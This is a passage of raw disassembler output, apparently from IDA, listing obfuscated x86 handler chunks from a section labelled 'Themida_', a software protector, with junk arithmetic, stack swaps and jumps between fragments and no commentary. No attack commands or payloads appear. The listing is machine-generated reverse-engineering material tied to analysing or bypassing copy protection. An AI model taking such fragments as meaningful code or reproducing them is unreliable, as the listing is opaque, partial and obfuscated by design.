jmp loc_57040D
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_5696D9: ; CODE XREF: sub_56BD44-770Ej
pop esp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_562C98
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_5696F0: ; CODE XREF: sub_5754DA-94F8j
xor dh, 0FDh
sub ch, dh
push [esp+8+var_8]
pop edx
jmp loc_56D958
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_5696FE: ; CODE XREF: sub_571289-4A83j
sub eax, 0B424228h
sub eax, ebx
add eax, 0B424228h
push ecx
mov ecx, 1E9A56D4h
sub eax, ecx
pop ecx
push edx
push eax
mov eax, 6F931470h
and eax, 4B694C3Fh
jmp loc_56CD7A
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_569724: ; CODE XREF: sub_56BD44+2741j
add edi, ecx
add edi, 7AD64362h
jmp loc_562FD8
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_569731: ; CODE XREF: sub_574656-E602j
pop ebp
mov esi, ebx
pop ebx
xor esi, edi
push [esp+10h+var_10]
mov edi, [esp+14h+var_14]
jmp loc_56B21B
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_569742: ; CODE XREF: sub_56628B-2AB2j
shr edi, 6
jmp loc_57225D
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_56974A: ; CODE XREF: sub_570B3C-2C2Bj
pop eax
jmp loc_566CC9
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_569750: ; CODE XREF: sub_563819-11EFj
add edi, 4
add edi, 4
xchg edi, [esp-4+arg_0]
pop esp
jmp loc_570A0D
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_569762: ; CODE XREF: sub_5713A7-476Dj
mov edi, esp
add edi, 4
add edi, 4
jmp loc_561DB1
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_569772: ; CODE XREF: sub_5671E1+CD23j
pop esi
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
xor edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
inc [esp-4+arg_0]
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
loc_569788: ; CODE XREF: Themida_:0056BA2Ej
push eax
mov eax, 4D490347h
sub [esp+4], eax
jmp loc_565BEC
; ---------------------------------------------------------------------------
loc_569797: ; CODE XREF: Themida_:00569181j
push dword ptr [esp]
mov edx, [esp]
jmp loc_57349F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_5697A2: ; CODE XREF: sub_563DCB+6712j
sub eax, edi
pop edi
xor eax, [esp+0]
xor [esp+0], eax
xor eax, [esp+0]
pop esp
jmp loc_561187
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5697B4: ; CODE XREF: sub_561027+7241j
xor ebp, 73B35074h
push esi
jmp loc_56C1A1
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_5697C0: ; CODE XREF: sub_571C93-7D87j
add ebx, eax
jmp loc_56A1CA
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_5697C7: ; CODE XREF: sub_5713A7+CC9j
pop ecx
push edi
mov edi, 31120EAAh
sub edi, 3F06E9Fh
add ebx, edi
pop edi
jmp loc_56A6D7
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_5697DC: ; CODE XREF: sub_56F782-27ADj
pop ecx
pop ebp
sub ebp, 34810628h
add ebp, ecx
add ebp, 34810628h
pop ecx
jmp loc_561D33
; END OF FUNCTION CHUNK FOR sub_56F782
; =============== S U B R O U T I N E =======================================
sub_5697F2 proc near ; DATA XREF: Themida_:0055FD58o
; FUNCTION CHUNK AT 00571AE2 SIZE 00000005 BYTES
push small word ptr [edx]
jmp loc_571AE2
sub_5697F2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_5697FA: ; CODE XREF: sub_56D3AF+427Dj
pop esp
jmp loc_575070
; END OF FUNCTION CHUNK FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_569800: ; CODE XREF: sub_571088-180Bj
shl edi, 3
jmp loc_56B19C
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_569808: ; CODE XREF: sub_574A21-641Ej
or edx, edi
jmp loc_5616F2
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
loc_56980F: ; CODE XREF: Themida_:00569B70j
xor dword ptr [esp], 47941680h
pop esi
xor esi, 47941680h
mov eax, [esp]
add esp, 4
dec esi
jmp loc_57290F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56982C: ; CODE XREF: sub_5673C3+4F42j
mov esi, 476D0F55h
add esi, 0B892F0AFh
sub edi, esi
pop esi
jmp loc_56107E
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_56983F: ; CODE XREF: sub_5687A3+1232j
pop esp
jmp loc_572CD0
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_569845: ; CODE XREF: sub_56E0B0-AB47j
shr esi, 4
jmp loc_570DAF
; END OF FUNCTION CHUNK FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56264C
loc_56984D: ; CODE XREF: sub_56264C+128C5j
mov esi, 7A9262E3h
add eax, esi
pop esi
add eax, 3A4F20D0h
jmp loc_561AEF
; END OF FUNCTION CHUNK FOR sub_56264C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56985F: ; CODE XREF: sub_5678CB+6CD4j
mov edx, [esp+8+var_A+2]
jmp loc_572C0F
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_569867: ; CODE XREF: sub_563207-106Fj
add eax, 54EE7897h
sub eax, 1A576B9Dh
add eax, ebp
add eax, 1A576B9Dh
push edi
mov edi, 54EE7897h
sub eax, edi
pop edi
add eax, 6DED1F0Fh
push [esp+0Ch+var_C]
pop ebp
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_564344
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56989A: ; CODE XREF: sub_5620B7+FC87j
not edi
xchg edi, ebx
xchg eax, ebx
jmp loc_561CBF
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_5698A4: ; CODE XREF: sub_569DB5+9676j
not esi
inc esi
push edx
push ebp
mov ebp, 314657F9h
mov edx, ebp
pop ebp
shr edx, 2
or edx, 71772900h
sub edx, 45AE5E23h
xor edx, 420000C7h
push 43EFh
mov [esp+0Ch+var_C], esi
mov esi, 4BA50205h
xor edx, esi
pop esi
sub edx, 5DD31CB3h
or edx, 41D425F4h
jmp loc_56B994
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_5698E7: ; CODE XREF: sub_571890-251Cj
not ecx
add ecx, 4ECA747Bh
sub ecx, 0BD658F5Ch
mov ebx, ecx
jmp loc_573A5B
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_5698FC: ; CODE XREF: sub_560844+CFE4j
mov [esp+4+var_4], ebx
jmp loc_566DDB
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_569904: ; CODE XREF: sub_56FA15-555Dj
add bl, 1Fh
sub al, bl
pop ebx
push ecx
mov cl, 0B0h
push ebx
mov bh, 20h
not bh
dec bh
or bh, 0CFh
not bh
sub bh, 0F8h
add cl, bh
mov ebx, [esp+8+var_8]
add esp, 4
add al, cl
push [esp+4+var_4]
pop ecx
push edi
jmp loc_56B9D0
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_569930: ; CODE XREF: sub_569A84+Dj
pop edi
push 795Bh
mov [esp+8+var_8], ebp
jmp loc_56DF37
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56993E: ; CODE XREF: sub_564D26+D532j
push 2C3Ch
mov [esp+0Ch+var_C], edx
jmp loc_565CF4
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
loc_56994B: ; CODE XREF: Themida_:00562842j
xor edi, 725047BEh
add edi, 0AB7F5BD4h
and ecx, edi
pop edi
not ecx
inc ecx
push edx
mov edx, 2C9A0752h
xor edx, 70497993h
inc edx
jmp loc_56B37F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56996F: ; CODE XREF: sub_572075-EBE2j
xor ecx, 0B76D3DFFh
jmp loc_568D4C
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_56997A: ; CODE XREF: sub_56BD44-B2F1j
pop esp
mov ax, [esp+0]
jmp loc_572518
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_569984: ; CODE XREF: sub_56AB51-6DB3j
sub ecx, 0CC53BC1Dh
add ecx, 1
dec ecx
push edx
mov edx, 94921F8h
jmp loc_570801
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
loc_56999C: ; CODE XREF: Themida_:005671CBj
mov edi, 0F10B8EAh
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_56C266
; ---------------------------------------------------------------------------
loc_5699B9: ; CODE XREF: Themida_:00568915j
push edi
jmp loc_56D876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_5699BF: ; CODE XREF: sub_5687A3-B17j
and eax, 17EB00DBh
sub eax, 17C3007Fh
add ebp, eax
pop eax
xor ebp, [esp+4+var_4]
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
jmp loc_56983F
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_5699DA: ; CODE XREF: sub_565A8D+8359j
mov ecx, esp
jmp loc_565D60
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_5699E1: ; CODE XREF: sub_5648C6+72A0j
mov esi, 69744FEFh
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 5DF10F6Eh
xor esi, ebp
pop ebp
jmp loc_56B8D8
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_5699F9: ; CODE XREF: sub_566400+1j
push 3AFFh
mov [esp+4+var_4], ebp
mov ebp, 275C712Fh
add ebp, 0FFFFFFFFh
dec ebp
or ebp, 3AA449A1h
and ebp, 58CC748Fh
dec ebp
jmp loc_564ECC
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5716F1
loc_569A1C: ; CODE XREF: sub_5716F1+Dj
sub edi, 0F50BC158h
mov ebx, edi
pop edi
mov edx, ebx
jmp loc_56E15B
; END OF FUNCTION CHUNK FOR sub_5716F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_569A2C: ; CODE XREF: sub_572E16-7EB8j
add esp, 4
jmp sub_56D2D2
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
loc_569A37: ; DATA XREF: Themida_:0055FCDCo
push 352Eh
mov [esp], ecx
jmp loc_573A0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_569A44: ; CODE XREF: sub_567D31+CEBFj
mov [esp+0], edx
sub esp, 4
jmp loc_571974
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_569A52: ; CODE XREF: sub_56D359-8C7Aj
pop ebp
xor eax, [esp+8+var_8]
xor [esp+8+var_8], eax
jmp loc_569444
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_569A5E: ; CODE XREF: sub_563207+71AFj
mov eax, [esp+8+var_8]
push esi
mov esi, esp
push ebx
jmp loc_561BF0
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA2B
loc_569A6A: ; CODE XREF: sub_56AA2B+62DDj
or ecx, 739D0EAEh
jmp loc_572CC4
; END OF FUNCTION CHUNK FOR sub_56AA2B
; =============== S U B R O U T I N E =======================================
sub_569A75 proc near ; DATA XREF: Themida_:0055FDB8o
var_6 = dword ptr -6
var_2 = word ptr -2
; FUNCTION CHUNK AT 0056105E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005610AD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561CAC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005676FF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056939A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C57E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CC3F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DC20 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FFB0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005719B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571B76 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571CE3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572D5A SIZE 0000000C BYTES
lodsb
push small 48BDh
mov [esp+0], bx
push ecx
jmp loc_56DC20
sub_569A75 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_569A84 proc near ; DATA XREF: Themida_:0055FEF8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 00563842 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564C44 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564EE9 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 00568ACD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569930 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A298 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056A87C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056BD80 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DF37 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00570CDE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570F25 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005711B7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572479 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572F21 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0057336F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005736BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573DF7 SIZE 00000027 BYTES
mov ax, [esp+0]
push 50A3h
mov [esp+4+var_4], edi
push esp
jmp loc_569930
sub_569A84 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_569A96: ; CODE XREF: sub_5690E8+A789j
xor ecx, eax
mov eax, [esp+0Ch+var_C]
add esp, 4
jmp loc_56F76D
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_569AA3: ; CODE XREF: sub_574CBE-7DC6j
add esp, 4
sub eax, esi
pop esi
sub eax, 7831597Dh
jmp loc_56A929
; END OF FUNCTION CHUNK FOR sub_574CBE
; =============== S U B R O U T I N E =======================================
sub_569AB3 proc near ; CODE XREF: sub_561979+E1C5j
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560043 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005621FD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005639A2 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00566873 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00566D7E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567995 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568B35 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056AE6B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B708 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056DF77 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F333 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F591 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570E51 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005746E1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005749EE SIZE 0000000F BYTES
push ebp
mov ebp, 5424613Eh
jmp loc_568B35
sub_569AB3 endp
; ---------------------------------------------------------------------------
loc_569ABE: ; CODE XREF: Themida_:005753A0j
pop esp
sub ebx, 23586796h
sub ebx, eax
add ebx, 23586796h
sub esp, 4
jmp loc_565411
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3B7
loc_569AD5: ; CODE XREF: sub_56D3B7-9BE9j
xchg esi, [esp+14h+var_14]
jmp loc_565CCA
; END OF FUNCTION CHUNK FOR sub_56D3B7
; ---------------------------------------------------------------------------
loc_569ADD: ; CODE XREF: Themida_:0057379Dj
add ebx, eax
pop eax
push dword ptr [esp]
pop edi
add esp, 4
push 54D7h
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_561173
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
loc_569AFE: ; CODE XREF: sub_574287-E28Aj
pop edx
mov esi, [esp+4+var_4]
jmp loc_575271
; END OF FUNCTION CHUNK FOR sub_574287
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_569B07: ; CODE XREF: sub_5680FB+3E51j
push 157Eh
mov [esp+14h+var_14], ebx
jmp loc_565A7A
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_569B14: ; CODE XREF: sub_570732-3139j
push 604C52ABh
pop eax
xor eax, ebp
jmp loc_568853
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_569B21: ; CODE XREF: sub_56102D+8DA0j
mov ebx, 73B8274Fh
sub ecx, ebx
pop ebx
push [esp-4+arg_0]
push dword ptr [esp+0]
pop edi
push 63A3h
mov [esp+4+var_4], ebp
mov ebp, esp
push esi
mov esi, 0B303477h
sub esi, 0B303473h
add ebp, esi
jmp loc_573BDD
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
loc_569B4D: ; CODE XREF: Themida_:0056CBF6j
mov [esp], edi
push 5D787509h
pop edi
push 154Dh
mov [esp], esi
push eax
push 7C2Ah
mov [esp], edx
mov edx, 11187092h
mov eax, edx
pop edx
push eax
jmp loc_56980F
; =============== S U B R O U T I N E =======================================
sub_569B75 proc near ; CODE XREF: sub_570CE4-B991j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056054F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00560C36 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056119E SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563973 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005673FB SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00569EA6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B67E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D13E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00571408 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572EF9 SIZE 0000000B BYTES
push ebp
jmp loc_56D13E
sub_569B75 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_569B7B: ; CODE XREF: sub_566400+3B4Dj
pop esi
add eax, edx
mov edx, [esp+8+var_8]
add esp, 4
add eax, ebp
sub eax, 6BF76AA5h
jmp loc_566244
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_569B93: ; CODE XREF: sub_569CBC+B5F0j
mov edx, esp
push ebx
mov ebx, 4
sub edx, 59596094h
jmp loc_563454
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5662F9
loc_569BA6: ; CODE XREF: sub_5662F9+45F5j
mov esp, [esp+8+var_8]
xor [esp-4+arg_0], ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5662F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_569BB3: ; CODE XREF: sub_56657A+6660j
mov ebx, eax
pop eax
add ecx, ebx
pop ebx
xchg ecx, [esp+0]
mov esp, [esp+0]
jmp loc_57367D
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_569BC4: ; CODE XREF: sub_566117+C57j
pop ecx
jmp loc_5729A1
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_569BCA: ; CODE XREF: sub_56616D+6498j
mov esi, 4
add ecx, esi
pop esi
add ecx, 4
jmp loc_572044
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA36
loc_569BDA: ; CODE XREF: sub_56DA36+8j
add ebp, 0E74D3ED2h
mov ecx, ebp
jmp loc_5713FC
; END OF FUNCTION CHUNK FOR sub_56DA36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_569BE7: ; CODE XREF: sub_574656-F3A6j
xchg edi, [esp+14h+var_14]
pop esp
sub eax, 1942549Fh
add eax, edi
add eax, 1942549Fh
add eax, 640547C1h
push [esp+10h+var_10]
pop edi
add esp, 4
pop esi
push ebp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+10h+var_10]
pop esp
jmp loc_56F08C
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_569C1D: ; CODE XREF: sub_57354D-23B1j
mov esp, [esp+0]
jmp loc_574DD4
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
loc_569C25: ; CODE XREF: Themida_:00568388j
mov ecx, 528D7AF7h
jmp loc_565EEB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_569C2F: ; CODE XREF: sub_572075-24F0j
sub ebp, 0F8B587Fh
add ebp, 59F02FE2h
sub ebp, eax
jmp loc_56BA91
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_569C42: ; CODE XREF: sub_5605BC+6789j
pop esp
jmp loc_5615A4
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_569C48: ; CODE XREF: sub_561027+3EA0j
neg edi
sub edi, 45E860C3h
sub eax, 926EF9h
add eax, edi
add eax, 926EF9h
pop edi
sub eax, 4
xchg eax, [esp+14h+var_14]
pop esp
mov [esp+10h+var_10], eax
xchg ebx, [esp+10h+var_10]
not ebx
jmp loc_560BB9
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566F55
loc_569C73: ; CODE XREF: sub_566F55+Dj
mov edi, [esp+4+var_4]
jmp loc_56D402
; END OF FUNCTION CHUNK FOR sub_566F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_569C7B: ; CODE XREF: sub_56B06D+60FBj
add [esp+0Ch+var_8], 1F50717Bh
jmp loc_5669B2
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_569C88: ; CODE XREF: sub_568646+5AB0j
mov ecx, [esp+0]
add esp, 4
pop edx
add al, bl
mov ebx, [esp-8+arg_4]
push ecx
mov ecx, esp
jmp loc_56F5FF
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_569C9F: ; CODE XREF: sub_56D4B8-55B9j
push esi
mov esi, esp
push edx
mov edx, 53636369h
xor edx, 2FE22EC9h
xor edx, 7C814DA4h
add esi, edx
pop edx
jmp loc_5626B6
; END OF FUNCTION CHUNK FOR sub_56D4B8
; =============== S U B R O U T I N E =======================================
sub_569CBC proc near ; DATA XREF: Themida_:0055FEA0o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560115 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563454 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005641F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565890 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565AA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565B9C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00565CDB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566CE2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569B93 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569E71 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570448 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00571B9F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00573911 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574EFE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005752AB SIZE 00000006 BYTES
lodsd
cmp dword ptr [edi+20h], 0
jz loc_560115
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, esp
push esi
mov esi, 4
add ebx, esi
jmp loc_573911
sub_569CBC endp
; ---------------------------------------------------------------------------
loc_569CDC: ; DATA XREF: Themida_:0055FDF8o
pop dword ptr [edi+40h]
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_569CE4: ; CODE XREF: sub_5673C3-32F2j
add ebp, edx
sub ebp, 3E323620h
mov edx, [esp-8+arg_4]
add esp, 4
xor ebp, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], ebp
xor ebp, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
push 58C0h
jmp loc_562E8D
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_569D08: ; CODE XREF: sub_56AEF2+523Ej
movzx eax, al
push dword ptr [edi+eax*4]
push [esp+4+var_4]
jmp loc_56B50D
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_569D16: ; CODE XREF: sub_565A8D+A48Ej
sub edx, 4
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+4+var_4], ecx
